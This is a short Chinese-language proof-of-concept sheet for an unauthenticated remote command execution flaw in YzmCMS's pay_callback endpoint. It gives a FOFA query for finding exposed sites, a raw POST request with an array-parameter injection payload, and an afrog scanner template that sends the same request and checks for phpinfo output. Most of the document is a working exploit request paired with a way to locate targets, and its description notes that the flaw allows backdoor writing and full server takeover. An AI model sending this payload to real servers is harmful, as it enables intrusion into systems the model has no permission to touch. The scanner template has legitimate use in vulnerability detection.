YzmCMS接口存在pay_callback远程命令执行
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fofa
app="yzmcms"
poc
POST /pay/index/pay_callback.html HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
out_trade_no[0]=eq&out_trade_no[1]=1&out_trade_no[2]=phpinfo
afrog
id: YzmCMS-pay_callback-RCE
info:
name: YzmCMS pay_callback 远程命令执行漏洞
author: Superhero
severity: high
description: |-
fofa: app="yzmcms"
YzmCMS /pay/index/pay_callback.html接口存在远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。
reference:
- https://blog.csdn.net/m0_60571842/article/details/140112191
tags: RCE
rules:
r0:
request:
method: POST
path: /pay/index/pay_callback.html
headers:
Content-Type: application/x-www-form-urlencoded
body: out_trade_no[0]=eq&out_trade_no[1]=1&out_trade_no[2]=phpinfo
expression: response.status == 200 && response.body.bcontains(b'phpinfo()') && response.body.bcontains(b'PHP Version')
expression: r0()